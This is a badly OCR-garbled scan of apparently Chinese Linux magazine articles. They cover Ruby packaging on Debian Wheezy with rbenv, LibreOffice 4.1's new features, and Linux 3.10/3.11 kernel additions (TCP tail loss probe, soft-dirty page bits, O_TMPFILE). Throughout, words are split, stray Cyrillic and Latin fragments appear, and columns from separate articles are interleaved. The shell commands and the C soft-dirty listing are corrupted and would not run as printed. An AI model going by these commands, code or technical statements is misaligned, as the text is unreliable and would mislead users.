ruby-switch --List 
Lists available Ruby interpreters 


ruby-switch --check 


Checks the current Ruby alternatives configuration 


ruby-switch --set RUBYINTERPRETER 
Changes the current Ruby interpreter 


ruby-switch --auto 
Uses the default Ruby interpreter 

$ ruby-switch --list 
ruby1.8 
ruby1.9.1 
$ sudo ruby-switch --set ruby1.9.1 
$ ruby-switch --check 
Currently using: ruby1.9.1 


-> [usr/bin/ruby1.9.1 
-> [usr/bin/gem1.9.1 


有 图 4 程序 包 的 安装 路 径 


$ ruby -rrbconfig -e "p RbConfig::CONFIGL 'vendordir' 1" 


"/usr/lib/ruby/vendor_ruby'' 


$ ruby -rrbconfig -e "p RbConfig::CONFIGL'vendorarchdir' 1" 


"/usr/lLib/ruby/vendor_ruby/1.9.1/x86_64-linux" 


$ ruby1.8 -rrbconfig -e "p RbConfig::CONFIGC'vendorarchdir']" 


"/usr/lib/ruby/vendor_ruby/1.8/x86 64#-Linux" 


Roy in Debian(1) 


只 要 知道 Gem 名 称 ， 束 可 以 知道 所 需要 的 


包 是 什么 了 。 
另外 ， 对 这 些 包 的 安装 路 径 也 做 了 修改 ， 
具体 如 下 。 


° pure Ruby library: vendordir 
。 使 用 C 编 写 的 扩展 库 : vendorarchdir 


在 笔者 所 使 用 的 amd64 环 境 中 ， 分 别 如 图 
4 所 示 @。 


(9 Bundler. rbenv 


关于 Ruby 用 户 所 熟悉 
Wheezy 也 开始 提供 文 持 了 。 

如 图 5 所 示 , 在 您 所 使 用 的 shell 的 配置 
文件 中 加 上 eval "$(rbenv init -)"， 就 可 以 
使 用 rbenv To Debian 的 rbenv 或 多 或 少 地 进行 
了 一 些 修改 ， 从 而 确 
保 了 Debian 程 序 包 中 
的 CRuby 的 相关 处 理 
也 可 以 通过 rbenv 来 
进行 管理 (图 6)。 

另外 ， 为 了 使 用 
Debian 的 程序 包 来 解 
决 Bundler 中 的 依存 
关系 问题 ，Wheezy 3^ 
提供 了 对 于 rubygems- 
integration 包 的 支持 。 
大 家 可 以 尝试 看 在 安 
闻 该 包 之 后 执行 一 下 
gem List( 图 7)。 这 里 
所 显示 的 rdoc (3.9.4) 


的 Bundler #1 rbenv, 


© 与 Ruby 捆 绑 在 一 起 的 
库 跟 以 前 一 样 ,依然 
安 JU 在 lusr/lib/ruby/ 


{1.8,1.9.1} 路 径 下 。 


"Debianpms 


表示 的 是 ruby1.9.1 包 的 RDoc。 虽 然 并 不 是 所 的 同时 追踪 Ruby HEAD 的 方法 ”以 及 “从 вет 
有 的 包 中 都 提供 了 gemspec 文 件 这 一 点 很 令 人 文件 到 Debian 程 序 包 的 简单 创建 ”。 


遗憾 ， 但 是 从 Wheezy 开 始 ，rbenv、Bundler 的 我 们 下 期 不 见 不 散 ! 
应 用 ， 甚 至 与 Debian 程序 包 的 协同 应 用 都 成 为 
了 可 能 。 


У 85 rbenv 的 使 用 


$ sudo apt-get install rbenv 
(中 上 略 ) 
$ rbenv init 


本 期 我 们 对 Debian 的 Ruby 环 境 ， 特 别 是 # Load rbenv automatically by adding 
# the following to ~/.zshrc: 


Wheezy 的 Ruby 环 境 进行 了 一 次 总 结 。 下 期 将 

EAE DH “ . B РНЕ eval "$(rbenv init -)" 

继续 为 大 家 介绍 “在 与 Debian 程 序 包 保持 协调 

w[E6 Debian 程序 包 的 Ruby 也 可 以 通过 rbenv 进行 У 7 通过 rubygems-integration ВЈ Д М дет 看 到 
管理 Debian 程序 包 


$ rbenv alternatives $ sudo apt-get install rubygems-integration 
Added 1.8.7-debian (HES) 
Added 1.9.3-debian $ gem list 
$ rbenv versions 
1.8. 7-debian *** LOCAL GEMS *** 
1.9.3-debian 
rdoc (3.9.4) 


Ruby 语 言 的 发 明 人 松本 行 弘 在 4 松本 行 弘 的 程序 世界 》 一 书 中 提 到 了 “为 什么 开发 Ruby 一 一 因为 它 给 我 带 来 了 快乐 。 
这 跟 Linux 之 父 林 纳 斯 [ 托 瓦 北 对 “为 什么 开发 Linux 的 回答 一 样 ， Just forfun 。 松 本 行 弘 还 提 到 了 Ruby 编程 语言 的 三 个 
设计 原则 : 简洁 性 、 扩 展 性 、 稳 定性 。 由 于 在 Web 开 发 方面 的 效率 很 高 ，Ruby 已 经 引起 了 全 世界 的 关注 ， 它 的 应 用 范围 
也 扩展 到 了 很 多 企业 领域 。 很 多 初学 者 对 学 习 Ruby 抱 有 极 大 的 热情 ， 但 在 选 书 以 及 实践 方面 有 些 范 然 ， 松 本 先生 为 大 家 
推荐 了 一 本 极 好 的 入 门 书 :《 Ruby 基础 教程 (第 4 版 )》。 


。Ruby 入 门 第 一 书 ， 原 版 重印 27 次 ! 
。 松 本 行 弘 杀 自 审 校 并 作 推 荐 序 
• HA Ruby 协会 创始 人 兼 会 长 倾情 力作 


本 书 为 日 本 公认 的 最 好 的 Rupy 入 门 教程 。 松 本 行 弘 杀 目 审 校 并 作 序 推荐 。 本 书 文 持 最 
新 的 Ruby 2.0， 也 附 市 讲解 了 可 运行 于 1.9 版 本 的 代码 ， 事 无 巨细 且 通 俗 易 懂 地 讲解 了 编写 
程序 时 所 需要 的 变量 、 常 量 、 方 法 、 类 、 流 程控 制 等 的 语法 ， 以 及 主要 类 的 使 用 方法 和 简 
单 的 应 用 ， 让 没有 编程 经 验 的 读者 也 能 轻松 掌握 Ruby， 找 到 属于 自己 的 快乐 编程 方式 ， 做 
到 融会 贯通 并 灵活 运用 到 实际 工作 中 。 

本 书 适 合 Ruby 初 学 者 学 习 参 考 ， 有 一 定 Rupy 编程 基础 的 读者 回顾 参考 。 

松本 行 弘 说 : 这 是 一 本 绝对 不 会 让 初学 者 失望 的 Ruby 入 门 书 。 


Try; 


此 次 上 发布 的 版 本 的 特点 
A 


这 次 发 布 的 版 本 同样 不 单 包含 LibreOffice 
(以 下 简称 Libo ) 特 有 的 新 功能 ， 同时 还 吸 
收 了 Apache OpenOffice (LA F fij #K AOO ) 4.0 
的 功能 ， 加 入 了 多 方面 的 功能 。 AOO 4.0 
SunMicrosystems/Oracle 时 代 的 OpenOffice.org 


У 1 IBM Lotus Symphony 的 属性 面板 
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的 是 可 以 在 Ubuntu 13.04 中 使 用 的 LibreOffice 4.1 的 新 功能 。 


Ubuntu Japanese Team 
X. /AWASHIROI Ikuya 
ikuyaGfruitsbasket.info 
J J 


(以 下 简称 OOo ) 自从 3.0 版 本 发 布 以 来 ， 时 隔 


五 年 的 重大 升级 ， 其 中 加 入 了 数量 颇 多 的 变更 。 
由 于 LibO 4.1 也 采用 了 其 中 大 部 分 的 变更 ， 
此 这 里 首先 对 AOO 4.0 的 特点 进行 解说 。 


IBM Lotus Symphony 和 ^ 
OOo A 


IBM М OOo I JF A8 28 ^5, 在 获得 Sun 
特殊 许可 的 OO0o 源 代码 的 基础 上 ， 对 Lotus 
Symphony( 以 下 简称 Symphony ) 进 行 了 开发 
MEEO, Æ 20114 Oracle [n] Apache Software 
Foundation I% 3X: OOo i/i f ЯП Ёл к, 开发 
社区 得 以 建立 ， 其 中 多 数 成 员 都 是 IBM 的 志 
BETEAK, 201141 Я Symphony 3.0.1 发 
布 不 久 后 ，Symphony 便 发 表 了 “在 此 之 后 将 
不 再 进行 版 本 升级 ”， 并 与 AOO 整 合 ” 的 声明 。 
Symphony 可 公开 部 分 的 源码 在 2012 年 5 月 被 
公开 ， 同 时 与 AOO 源 码 的 整合 工作 也 起 步 了 。 

Symphony 具 有 OOo 所 不 具备 的 各 种 特点 。 
其 中 一 点 就 是 属性 面板 (图 1 )。AOO 4.0 在 此 


(D 2013 年 7 月 上 名 Symphony 的 网 站 关闭 了 , 但 是 有 IBM 


账号 (IBM ID ) 的 话 好 像 还 可 以 下 载 。 是 暂时 关闭 还 是 
永久 关闭 还 不 得 而 知 。 

© 大 致 是 由 IBM、 其 合作 公司 的 工作 人 员 以 及 志愿 者 组 成 的 ， 
但 对 于 三 方 人 数 占 比 和 贡献 程度 等 笔者 不 其 了 解 。 

© 话 虽 如 此 , 但 声明 发 出 之 后 后 续 维 护 版 本 还 是 继续 发 布 了 。 
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基础 上 进一步 (重新 编写 底层 代码 ) 开 发 了 侧 边 

和 =。 属性 面板 的 便利 功能 就 这 样 在 很 多 方面 进 
行 了 扩展 ， 变 得 越 来 越 便捷 。 只 是 在 AOO 4.0 
中 默认 是 开启 的 ， 而 在 LibO 4.1 中 ， 该 功能 还 
处 于 试验 阶段 ， 默 认 是 关闭 的 。 有 关内 容 之 后 
会 进行 详 述 。 

KERE, AOO 4.0 从 Symphony 中 吸取 的 
东西 包括 Microsoft Office 的 老式 的 二 进 制 格式 
文件 的 互 换 性 提升 、 各 种 各 样 的 补丁 、 库 和 模 
板 等 ， 内 容 涉及 方方面面 ， 只 不 过 可 接 和 人 性 等 
一 部 分 来 不 及 实现 的 部 分 被 搁置 了 。 当 然 这 些 
中 的 大 部 分 也 被 LibO 4.1 所 吸收 ， 但 是 模板 并 
没有 被 采用 。 


Writer 的 新 功能 


m 图 像 旋转 
选择 网 像 后 右 击 鼠 标 ， 选择 CEDE ET, 
即 可 旋转 图 像 。 


m EB 
可 指定 渐 层 背景 。 


B 将 字体 详 入 文件 内 

可 以 通过 [文件 ]-[ 属 性 ]-[ 字 体 ] 中 的 [在 
该 文档 中 骸 入 字体 ] 来 将 字体 般 入 文件 内 。 这 
АМ RIT. Writer, TE Calc 和 Impress 中 也 同样 
有 效 。 但 是 ，Writer 中 使 用 起 来 最 方便 。 般 入 
字体 确实 会 导致 文件 变 大 ， 但 是 相 比 不 通 入 字 
体 ， 这 样 做 消除 了 文字 差异 。Calc fll Impress 
对 文字 差异 的 要 求 没 有 那么 严格 ， 因 此 这 一 功 
能 的 使 用 机 会 不 太 多 。 


ш TERES тл ЦК 

注释 的 显示 与 否 可 以 统一 设置 了 。 可 以 通 
过 横向 标尺 右 侧 的 注释 区 域 进行 注释 的 插入 操 
作 ， 点 击 此 人 处 可 对 注释 的 显示 /隐藏 进行 切换 。 
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Ей 预测 窗口 的 位 置 

虽然 和 Ubuntu 没什么 直接 关系 ,但 比如 
JE Windows Hia F FIIF Writer, 使 用 谷歌 日 语 
和 输入 法 输入 时 会 弹出 提示 框 ”， 每 当 输入 文字 时 
该 提示 框 就 会 回 右 俩 移 。4.1 "УТЕ TAAIE, 
让 Writer 变 得 更 便于 使 用 了 。 


m 扩大 可 指定 的 注释 范围 

4.0 中 [插入 ]-[ 注 释 ] 的 注释 功能 可 以 指定 
汇 围 ,之 前 只 能 包含 单个 段落 的 施 围 限制 也 
ВАН f ç 


Calc 


m 阶梯 线 

图 表 种 类 的 [ 线 ] 和 [散布 图 ] 中 可 以 选择 
[E (step 有 这 种 线 了 。[ 属 性 ] 中 有 4 种 类 型 
的 阶 樟 线 可 供 选 择 。 


m 单元 格 个 数 统计 

现在 能 够 统计 被 选中 的 单元 格 个 数 了 。 
Calc 右 下 方 的 请 动 条 汐 边 有 默认 显示 合计 的 杠 
框 ， 鼠 标 右 击 即 可 。 因 为 有 [选择 个 数 ]， 对 其 
加 以 确认 后 ， 即 可 统计 出 单元 格 个 数 。 


m 新 的 函数 
现在 支持 NUMVERVALUE 函数 和 SKEWP 


函数 了 。 这些 都 是 在 Excel2013 中 新 追加 的 
KAO, 
m 图 表 关 联 


4.0 中 就 有 [导出 为 图 片 ] 的 功能 ，SVG 也 
是 选择 项 之 一 , 但 实际 输出 后 ， 存 在 生成 0 字 
节 文 件 的 BUG，4.1 中 消除 了 这 个 BUG。 不 仅 
如 此 ， 还 可 以 保存 为 后 缀 为 ODC 的 文件 。 以 这 


O 即 预测 候补 的 窗口 。 这 里 虽然 以 谷歌 日 语 输入 法 为 例 ， 
但 指 的 是 候选 窗口 的 问题 。 
©) 后 者 在 Excel 2013 里 的 函数 名 为 “SKEW.P”。 
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LibreOffice 4.1 的 新 功能 [as ДТ 


种 形式 保存 的 话 ， 可 以 对 图 表 进 行 再 编辑 。 双 
击 图 表 进 入 可 编辑 状态 ， 选 择 [文件 ]-[ 夯 存 为 ] 
进行 保存 。 如 果 要 在 Calc 里 再 次 插入 图 表 ， 选 
择 [插入 ]-[ 对 象 ]-[ 从 文件 创建 图 表 ] 就 可 以 了 。 


Impress 


E 相册 

可 以 通过 [插入 ]-[ 图 像 ]-[ 相 册 ] 来 制作 相 
册 。 追 加 想 要 使 用 的 图 像 ， 并 指定 每 页 平均 的 
图 片 张 数 即 可 。 


| 整 体 


( 


lll 器 导 完 全 不 需要 Java 虚拟 机 

[文件 ]-[ 回 导 ] 中 的 向 导 终 于 全 部 从 Java 
改写 为 了 Python。 这 样 如 有 果 只 使 用 癌 导 的 话 
就 无 需 安装 Java 虚 拟 机 了。 虽然 还 有 Base 的 
后 台数 据 库 是 用 Java 写 的 , 但 是 现在 Google 
Summer of Code ( GSoC ) 正 在 进行 将 其 奉 换 为 
开源 数据 库 Firebird 的 开发 工作 。 如 果 采 取 这 
项 措施 的 话 ， 依 赖 Java 的 部 分 将 不 复 存 在 。 但 
GSoC 正 在 进行 的 开发 的 种 类 众多 ， 即 使 有 能 
够 马上 实现 的 ， 也 还 需要 一 定 的 开发 时 间 ， 其 
中 也 有 中 途 放 弃 的 可 能 ， 所 以 就 现 阶段 而 言 ， 
要 推测 今后 的 情况 如 何 也 不 大 可 能 。 


а 文本 布局 库 

Linux 的 文本 布局 库 从 不 被 维护 的 ICU 
(International Component for Unicode ) 布 局 引 
擎 符 换 为 了 被 经 向 维护 的 HarfBuzz。 像 这 样 以 
“能 够 经 党 得 到 维护 ”为 由 将 核心 库 进 行 蔡 换 
的 做 法 ， 也 可 以 被 看 作 是 Libo 和 AOO 之 间 的 
差异 的 极端 表现 之 一 ”。 


(6 话 虽 如 此 , 但 AOO 4.0 也 停 用 了 Stlport4 C+ 模板 库 )。 
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m 搜索 框 

可 以 随意 使 用 [culj+ [Fj] 键 或 者 [编辑 ]-[ 搜 索 ] 
开局 搜索 框 。 在 开局 的 状态 下 再 按 一 次 [ctj+|Fj， 
搜索 框 就 会 消失 。 此 外 ,追加 了 清除 搜索 词 的 
图 标 和 喘 文 字母 大 小 写 区 分 功能 的 复 选 框 。 


ш 清除 最 近 使 用 的 文件 的 历史 记录 

工具 栏 的 打开 文件 的 图 标 中 退 加 了 “显示 
最 近 使 用 的 文件 ” 功能， 同时 也 追加 了 “清除 
最 近 使 用 的 文件 的 历史 记录 ”的 功能 。 


m 侧 边 栏 

如 前 所 述 ，LibO 4.1 吸 取 了 AOO 4.0 的 侧 
边栏 功能 。 选 择 [ 工 具 ]-[ 选 项 ]-[ 详 细 ] 中 的 -[ 局 
用 体验 功能 侧 边 栏 (重启 后 生效 习 ， 会 弹出 “ 侧 
边栏 的 设 定 变更 需要 重启 LibreOffice， 现在 
马上 重启 吗 ? ”的 对 话 框 ,选择 “马上 重启 ”， 
LibreOffice 会 重新 启动 。 

虽说 是 “体验 功能 ”, 但 是 不 会 发 生 使 用 
过 程 中 强行 终止 的 情况 。 启 动 [风格 和 格式 设 定 ] 
以 及 [导航 ] 等 别 的 窗口 的 东西 ， 以 及 像 图 片 库 
那样 会 占据 画面 上 部 的 东西 ， 都 会 集中 放置 在 
侧 边栏 ， 这 样 画 面 展示 的 范围 就 得 以 扩大 。 特 
别 是 最 近 宽 屏 成 为 主流 ， 经 常会 发 生 图 像 显 示 
时 宽度 有 余 而 高 度 不 足 的 情况 。 

侧 边 栏 带 来 的 便捷 还 体现 在 其 他 一 些 地 
方 。 属 性 面板 中 的 内 容 会 根据 当下 进行 的 操作 
情况 时 刻 发 生 改 变 ( 图 2、 图 3 ), 有 侧 边 栏 的 话 ， 
即使 不 逐一 点 开 菜 单 ， 使 用 这 个 属性 面板 也 能 
在 一 定 程 度 上 完成 所 需 的 工作 ， 而 且 减 少 了 鼠 
标 移动 距离 ， 可 以 大 大 提高 工作 效率 。 而 且 ， 
Microsoft Office 的 Ribbon 界面 也 以 菜单 查找 便 
p ”的 优势 著称 。 

不 管 怎 样 ， 反 正 出 现任 何 问题 都 可 以 恢复 
原来 的 设置 ”， 所 以 大 家 可 以 轻松 愉快 地 去 体验 
-— 


CD 笔者 主观 地 这 么 认为 ， 不 知道 大 家 觉得 怎么 样 。 
顺带 一 提 ，AOO 中 由 于 Impress 的 任务 面板 被 删除 ， 
此 无 法 复原 。 
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m 图 片 库 

图 片 库 中 的 图 片 也 焕然 一 新 了 。 如 前 所 述 ， 
这 是 从 Symphony 中 吸取 过 来 的 。 以 前 的 图 片 
库 中 基本 上 没什么 能 用 的 ， 新 的 图 片 库 具有 和 较 
好 的 实用 性 ， 大 家 可 以 有 效 利用 。 


m 启动 速度 提升 
启动 时 不 用 再 读 入 近 14000 条 标签 数据 ， 
启动 速度 加 快 。 


翻译 的 倾向 


LibO 4.1 是 在 Libo 发 布 后 翻译 对 象 字符 串 
首次 出 现 增 加 的 版 本 。 之 前 ， 随 着 版 本 更 新 ， 
虽然 功能 一 直 在 增加 ， 但 是 翻译 对 象 字符 串 的 
数量 却 一 直 在 减少 。 这 是 怎么 回 事 呢 ? 这 是 因 
为 由 于 源码 清理 而 删 减 掉 的 字符 串 数量 ， 超 过 
了 由 于 添加 新 功能 而 增加 的 字符 串 数量 。 为 公 
平地 进行 比较 了 ， 表 1 中 给 出 了 对 3.4 之 后 的 版 
本 实际 测 得 的 数值 ”。 


Libo 4.1 和 Ubuntu 


虽然 在 撰 稿 阶段 (2013 年 7 月 中 旬 ) 还 未 
能 确定 , 但 是 Ubuntu 13.10 肯 定 会 包含 LibO 
44, PPA” 中 估计 也 会 提供 将 其 移植 到 12.04 和 
13.04 的 服务 。 话 虽 如 此 ，13.04 的 支持 期 限 是 
从 发 布 日 算 起 共 9 个 月 (也 就 是 到 2014 年 1 月 )， 
相 比 移植 , 升级 到 13.10 似乎 是 一 个 更 好 的 选择 。 


(9) 3.3 版 本 之 前 的 源码 中 不 包含 po 文件 ,无 法 在 相同 条 件 
下 测量 。 

例如 对 3.4.6.2 版 本 可 用 下 面 这 条 命令 进行 测量 。$ grep -r 
msgid libreoffice-translations-3.4.6.2/translations/source/ja/ 
lwc -l 

QD https://launchpad.net/~libreoffice 
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vI ШУБА АЈ, 
翻译 对 象 字符 串 数 


+” 2 ”Draw 启动 后 的 侧 边栏 


у з 创建 对 象 (形状 ) 并 选中 后 侧 边 栏 会 变 成 这 样 


a 位 置 与 尺寸 
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文 /青田 直 大 ( АОТА Naohiro ) iE/ Eb 


这 次 笔者 将 对 Linux 3.10 追 加 的 TLP 功 能 
fil Linux 3.11 的 新 功能 soft-dirty 和 O_TMPFILE 
进行 解说 。 


E TCP TLP 


先 来 看 一 下 Linux 3.10 的 新 功能 中 尚未 介 
绍 过 的 TCPTLP(TailLoss Probe )。 简 单 来 说 ， 
它 是 TCP 通 信 中 发 送 方 的 一 个 修正 算法 ， 用 以 
改善 TCP 的 延迟 时 间 。 通 过 TCP 发 送 的 数据 必 
须要 保证 是 通过 正确 的 顺序 接收 的 。 为 此 ， 接 
收 方 需要 向 发 送 方 发 送 确 认 信 息 (ACK ) 来 告 
诉 送 信 方 自己 接收 到 了 哪些 数据 。 如 果 发 送 方 
在 等 待 一 段 时 间 后 仍 未 收 到 确认 信息 ， 或 者 是 
虽然 收 到 了 确认 信息 ， 但 是 接收 方 接收 的 数据 
有 所 缺失 ， 发 送 方 需要 再 次 发 送 数据 。 

一 般 而 言 ， 没 有 返回 确认 信息 时 ， 再 次 发 
送 数 据 的 时 间 间 隔 RTO( Retrans mission Time 
Out ) 都 被 设 定 得 比较 大 。 特 别 是 对 网 页 来 说 ， 
需要 进行 大 量 的 TCP 连 接 ， 但 是 每 个 TCP 连接 
的 数据 量 都 比较 小 “通信 时 间 也 比较 短 ， 在 这 
样 的 通信 的 情况 下 ， 要 等 待 RIO 再 进行 数据 的 
发 送 的 话 就 会 带 来 严重 的 等 竺 延迟 。 为 了 不 用 
等 待 RIO ， 我 们 使 用 快速 重 传 的 方法 。 接 收 方 
按 顺 序 接收 数据 ， 如 果 顺 序 出 现 了 跳跃 ， 就 将 
没有 接收 到 的 数据 包 序号 通知 给 发 送 方 。 这 样 


FA 


Linux 3.11 的 新 功能 


soft-dirty ЖП О TMPFILE 


N 


重复 发 送 三 次 相同 的 确认 信息 ， 发 送 方 就 会 进 
THEO eC fe ABRE СЕ), 


但 是 ， 这 个 方法 也 有 不 能 使 用 的 场 分 i o 


如 在 接近 通信 末尾 时 发 生 数 据 丢 失 的 情况 下 ， 
就 无 法 通过 重复 发 送 三 次 确认 信息 来 触发 重 
传 处 理 。 这 种 情况 下 我 们 可 以 使 用 名 为 Early 
Retransmit 的 方法 来 减少 触发 重 传 处 理 所 必 有 需 
的 重复 确认 信息 数 。 这 一 方法 在 Linux 3.5 H! 
被 导入 。 话 虽 如 此 ， 但 Early Retransmit 也 无 法 
解决 所 有 接近 通信 末尾 时 的 数据 丢失 问题 。 要 
使 用 Early Retransmit 的话 至 少 需 要 数据 到 达 一 
次 ,这 样 才 能 返回 重复 的 ACK。TLP 为 了 解 
决 这 个 问题 ,在 RTO 超 时 之 前 还 设 定 了 PTO 
( Probe Time Out )。 如 果 在 PTO 结束 前 的 时 间 


” 1 重 传 处 理 


巴 ACK2 
巴 ACkK2 


- 


- 


[n] ACK3 
IACK3 
ACK3 


Б 


1 
2 
3 
4 
5 
6 


Б 


9 


开始 重 传 处 理 
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л SSS 


段 内 ACK 没 有 返回 ( 且 没 有 新 的 数据 需要 发 送 )， 
会 重新 发 送 最 后 一 次 发 送 的 数据 (图 2 )。 把 这 
个 传递 给 接收 方 ， 如 果 对 方 之 前 也 没有 接收 到 
数据 的 话 ， 就 可 以 通过 重复 发 送 ACK 来 触发 
重 传 处 理 。 


E CRIU 的 进程 数据 复原 


进程 的 运行 状态 以 文件 的 形式 被 转 储 起 来 ， 
而 将 这 些 转 储 文件 还 原 成 原先 状态 的 工具 就 
是 CRIU。CRIU 还 有 一 个 补丁 并 入 内 核 中 。 在 
这 次 的 补丁 中 ， 可 以 将 想 要 转 储 的 进程 的 内 存 
中 某 时 刻 后 重 写 的 部 分 检 出 ， 进 而 提高 转 储 的 
效率 。 

CRIU 有 多 种 使 用 方法 ， 我们 从 以 下 两 个 
场景 来 思考 一 下 其 中 的 问题 。 首 先 来 考虑 “每 
五 分 钟 保存 一 下 进程 的 转 储 ”这 种 情况 。 这 种 
情况 下 可 以 复原 任意 时 刻 的 进程 状态 。 但 是 ， 
在 短 短 5 分 钟 时 间 内 ， 进 程 内 存 中 有 很 多 内 容 
并 没有 发 生 改 变 。 这 种 情况 下 ， 如 果 能 不 必 每 
次 都 转 储 内 存 中 的 全 部 内 容 ， 而 是 只 转 储 和 上 
一 次 有 差别 的 部 分 的 话 ， 就 可 以 减少 转 储 所 需 
的 磁盘 容量 。 

接 下 来 再 考虑 实时 迁移 的 情况 。 比 如 在 保 
持 某 服务 需 局 动 的 情况 下 将 进程 从 一 人 台 机 器 移 
动 到 男 一 台 机 右上 。 这 里 遇 到 的 问题 就 是 服务 
的 停止 时 间 。 进 程 的 转 储 和 恢复 运行 按照 下 面 
的 顺序 进行 。 
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1 


z> 


接收 ACK3 > 


тоюна, 5 的 重 伟 


3 号 的 RTO 


返回 ACK2 
返回 ACK3 
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ACK3 SACK5-6 


进入 重 传 处 理 


e 进程 暂时 停止 

e 将 内 存 转 储 

e 将 转 储 拷贝 到 另 一 台 机 器 上 

e 在 另 一 台 机 器 上 将 进程 恢复 运行 


这 里 如 果 进 程 的 内 存 容量 很 大 的 话 ， 进 程 
从 暂时 停止 到 恢复 运行 这 段 服务 停止 的 时 间 也 
会 变 长 。 针 对 这 一 问题 ,我 们 采用 的 对 末 是 使 
Н 3E V XE Ж C iterative migration )。CRIU 在 正 
式 进 行 转 储 之 前 可 以 先进 行 pre-dump。 虽 然 仅 
3E pre-dump 获得 的 文件 并 不 能 使 进程 恢复 运行 ， 
但 是 在 多 次 pre-dump 后 再 进行 正式 转 储 的 话 ， 
就 只 需要 转 储 差 值 部 分 。 这 样 就 可 以 减少 服务 
停止 的 时 间 了 。 


A soft-dirty PTE 


为 实现 之 前 所 说 的 “ 仅 转 储 进 程 的 差 值 
Й 27°, Linux 3.11 中 加 入 了 PTE (Page Table 
Entry ) HJ soft-dirty bit. 

“soft-dirty”， 顾 名 思 义 ， 就 是 管理 软件 的 
dirty bit。 在 此 之 前 PTE 中 已 经 有 了 dirty bit. 
不 管 是 哪 一 个 ,在 内 存 页 面 被 改写 的 时 候 ， 都 
会 设置 dirty bit。 也 就 是 说 , 在 某 一 块 内 存 内 
容 被 改写 的 时 候 ， 就 会 设置 dirty bit 或 者 soft- 
dirty bit。 这 两 者 的 区 别 在 于 bit 被 清除 的 时 机 。 
通常 dirty bit 会 在 数据 的 变更 被 写 人 磁盘 的 时 
候 被 清除 ， 而 soft-dirty bit 则 可 以 在 任意 时 机 
被 清除 。 所 以 如 果 在 迁移 开始 时 清除 soft-dirty 
bit, 之 后 再 给 有 改动 的 页 设置 soft-dirty bit, 
那么 就 可 以 只 复制 这 些 页 了 。 


KB fh Fl soft-dirty 的 程序 


接 下 来 看 看 使 用 soft-dirty 的 程序 (代码 清 
HJ, 

首先 从 因数 来 看 ,，clear soft dirty ff "4" 
写 /proc/self/clear refs, 将 这 个 程序 的 soft- 
dirty bit 清除 。show soft dirty(buf,n) 是 从 指定 
地 址 的 页 面 开始 ， 将 之 后 n 页 的 soft-dirty bit H 
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甩 代 码 清单 1 munin plugin 0 或 1 表示 出 来 。/proc/self/pagemap 里 记载 7 
Hinclude <stdint.h> 64bit 的 数据 ， 其 中 包含 了 程序 各 页 是 否 进行 
ү PENA [f swap, LA K swap HJ fi 1e zz ^r 1н o 1 页 的 
#include <string.h> 大 小 为 4096byte， 因 此 用 12 位 偏 移 量 就 能 知 
OE A) 道 buf 的 地 址 所 在 页 的 页 号 。 用 8*< 页 号 > 在 


#define PAGE SIZE 4096 

#define PAGE COUNT 4 

Hdefine BUF SIZE PAGE SIZE ж PAGE COUNT 
Hdefine SOFT DIRTY ((uintó4 t)1 << 55) 


void clear soft dirty() 
1 
FILE *f = fopen("/proc/self/clear refs", "w"); 
if (f == NULL) abortO; 
forinti СУ 
fclose(f); 
} 


void show_soft_dirty(void *buf, int п) 
( 

uintó4 t val; 

ИЙ de 

Long index = (size t)buf >> 12; 


for (120; 1 < n; ++1) 
printtf("z02d D 
printf("\n"); 


FILE *f = fopen("/proc/self/pagemap", "г"); 

if (f == NULL) abort(); 

Tor Пл ii < nm тү 
fseek(f, (index+i)*8, SEEK SET); 
fread(&val, sizeof(val), 1, f); 
printf("%2d ", (val & SOFT_DIRTY) != 0); 

0 

DAUERTE 

fcloseCf); 

) 


int main(int argc, char xargvL1) 
1 
int 1; 


char *buf = malloc(BUF. SIZE); 
printf("Initialize the buffer in"); 
memset(buf, 1, ВОЕ SIZE); 

show soft dirty(buf, PAGE COUNT); 


printf("Clear the bufferYn"); 
clear soft dirtyO; 
show soft dirty(buf, PAGE COUNT); 


for (i20; i«PAGE COUNT; ++1) ( 
printf("Writing to page 402dNn", i); 
bufLixPAGE SIZE] = i; 
show soft dirty(buf, PAGE COUNT); 

0 

return 0; 
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pagemap 中 seek 到 所 需 位 置 ， 谈 入 64bit HH, 


就 能 得 到 我 们 所 需 的 目的 值 。 这 个 值 的 第 55 
位 就 是 soft-dirty bit。 


main 部 分 中 执行 了 下 列 操作 。 


e 查 看 最 初 的 Soft-dirty 
e 清 除 Soft-dirty 


e 依 次 写 入 页 0~3， 显 示 其 后 的 soft-dirty 


运行 结果 如 图 3 所 示 。 一 开始 用 clear_ 


soft dirty() 将 所 有 soft-dirty 清 零 ， 之 后 发 生 写 


人 时 再 设置 soft-dirty bit. 
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KB O TMPFILE 


接 下 来 要 讨论 的 是 O TMPFILE 的 追加 。 


M gi О “可 以 看 出 , € Æ open) 的 新 的 
flag， 用 以 创建 临时 文件 。 常见 的 创建 临时 文 
件 的 方法 就 是 用 随机 的 文件 名 打开 文件 ， 之 后 


运行 实例 

$ gcc -Wall -Werror soft-dirty.c && ./a.out 
Initialize the buffer 
## HS #0 Ж 
$$$ $ 

Clear the buffer 

H HS 3960 Ж 

# # # # 

Writing to page 00 
## #0 Ж 

$ # # # 

Writing to page 01 

Н HS #0 #6 

$ $ £$ £$ 
Writing to page 02 
## #0 Ж 

$ $ $ 4 
Writing to page 03 

H HS 396038 

$ $ $ $ 
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nux 内 核 观 光 游 


用 unlinkO 将 其 清除 。 这 样 的 话 就 可 以 创建 一 
个 其 他 程序 无 法 看 见 ( 也 无 法 打开 ) 的 文件 。 但 
是 ， 实 际 上 这 也 存在 安全 问题 。/proc/< PID>/ 
fd 中 包含 了 文件 名 为 文件 描述 符 且 指 癌 进程 
打开 的 文件 的 符号 链接 。 如 果 对 这 个 符号 链 
接 使 用 创建 链接 的 linkat0 的 AT SYMLINK ` 
FOLLOW 的 话 ， 本 应 对 其 他 人 都 不 可 见 的 文 
件 就 也 能 被 打开 。 

要 解决 这 个 问题 , 可 以 用 O_TMPFILE 
| О CREAT|O EXCL 创 建文 件 , ix FE BS ih 
linkat() 时 融会 报销 ENOENT。 


(Р 使 用 O_TMPFILE 的 程序 


接 下 来 比较 一 下 用 原来 的 方法 和 用 O_ 
TMPFILE 这 两 种 不 同 的 方式 所 写 的 程序 有 何 
不 同 。 代 码 清 单 2 中 的 程序 使 用 fork 一 边 创建 
临时 文件 ， 一 边 尝 试 打 开 这 个 临时 文件 并 查看 
其 内 容 。 

查看 临时 文件 的 操作 写 在 函数 parent() 中 。 
为 知道 对 象 进程 的 ID, 所 以 使 用 linkat0) 
将 “/proc/< 进程 ID >/fd/3” 链接 至 /tmp/target。 
链接 成 功 的 话 ， 之 后 即使 原来 的 临时 文件 被 
